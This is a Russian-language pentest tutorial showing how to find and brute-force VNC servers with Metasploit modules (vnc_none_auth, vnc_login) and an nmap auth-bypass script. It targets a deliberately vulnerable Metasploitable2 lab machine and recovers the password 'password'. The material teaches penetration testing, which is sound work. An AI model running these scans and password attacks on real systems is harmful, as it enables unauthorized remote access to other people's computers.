VNC — это популярный инструмент, который подобно RDP, позволяет удаленно управлять компьютером. Мы уже рассказывали, как взломать RDP Windows используя Ncrack и Hydra. Сегодня продолжим данную тему и рассмотрим взлом VNC с помощью Metasploit.
Еще по теме: Как взломать пароль SSH с помощью Hydra
Взлом VNC с помощью Metasploit
Многие компании используют VNC в качестве инструмента для удаленного доступа и часто оставляют доступ открытым без использования пароля.
VNC обычно работает как служба, поэтому пользователь в большинстве может и не знать о ее работе. Даже если используется пароль, он часто используется без имени пользователя.
Для нашего примера я буду использовать намеренно уязвимую машину Metasploitable2, в которой установлена уязвимая версия сервера VNC.
Статья в образовательных целях и предназначается для обучения пентестеров и этичных хакеров. При написании статьи использовались намеренно уязвимая машина Metasploitable. Ни редакция spy-soft.net, ни автор не несут ответственности за ваши действия.
Поиск серверов VNC не использующих пароли
Первым делом необходимо найти не использующие пароль сервера VNC. Для этой цели будем использовать Metasploit (см. Как пользоваться Metasploit Framework).
Запустите Metasploit.
1 |
msfconsole |
Для поиска VNC, выполните команду:
1 |
use auxiliary/scanner/vnc/vnc_none_auth |
Для просмотра параметров, выполните команду:
1 |
show options |
Измените параметры выполнения. Для этого модуля нужно установить только RHOSTS:
1 2 |
set RHOSTS 192.168.56.0/24 set THREADS 20 |
Первая команда добавила IP-адрес целевой сети (в моем случае буду сканировать всю подсеть 192.168.56.0/24). Вторая команда установила количество потоков (20).
После этого можно запустить модуль:
1 |
run |
Мы видим, что IP-адрес уязвимой машины Metasploitable2 — 192.168.56.103. Скрипт обнаружил, что запущена служба VNC, но подключиться не удалось (вероятно стоит пароль).
Быстрая попытка подключения подтверждает, что для подключения действительно требуется пароль.
Имейте в виду, что даже если на VNC нет пароля, для подключения может потребоваться вход в Windows. Можно конечно дождаться возвращения пользователя и попробовать собрать что-то полезное, наблюдая за тем, что он делает, но пойдем другим путем.
Сканирование уязвимостей VNC
Теперь, когда мы знаем, что работает VNC-сервер (возможно версии 3.4), можно копать дальше.
Во-первых, я всегда смотрю, есть ли доступный скрипт NSE.
Для поиска определенного скрипта NSE:
1 |
locate *vnc*.nse |
Обычно я запускаю все скрипты, но в данном случае я знаю, что в старых версиях VNC существует уязвимость обхода авторизации, поэтому я использую этот скрипт:
1 |
db_nmap 192.168.56.103 --script=realvnc-auth-bypass.nse -p5900 |
Не уязвим. Хорошо, давайте посмотрим, доступен ли модуль входа VNC:
1 |
search type:auxiliary vnc |
Доступен.
Давайте посмотрим, использует ли пользователь какие-либо стандартные пароли VNC.
1 2 3 |
use auxiliary/scanner/vnc/vnc_login set RHOSTS 192.168.56.103 set THREADS 20 |
По умолчанию модуль VNC использует следующий словарь для брута:
1 |
/usr/share/metasploit-framework/data/wordlists/vnc_passwords.txt |
Запускаем:
1 |
run |
Результат на лицо. Используется простой пароль password.
Попробуем подключиться.
И мы внутри.
Заключение
Примеры взлома компаний и факт, что VNC по-прежнему широко используется во многих компаниях, говорит о том, что — это может быть хорошей целью в пентесте. Есть еще другие способы и инструменты взлома VNC, о которых мы поговорим в будущем.
ПОЛЕЗНЫЕ ССЫЛКИ: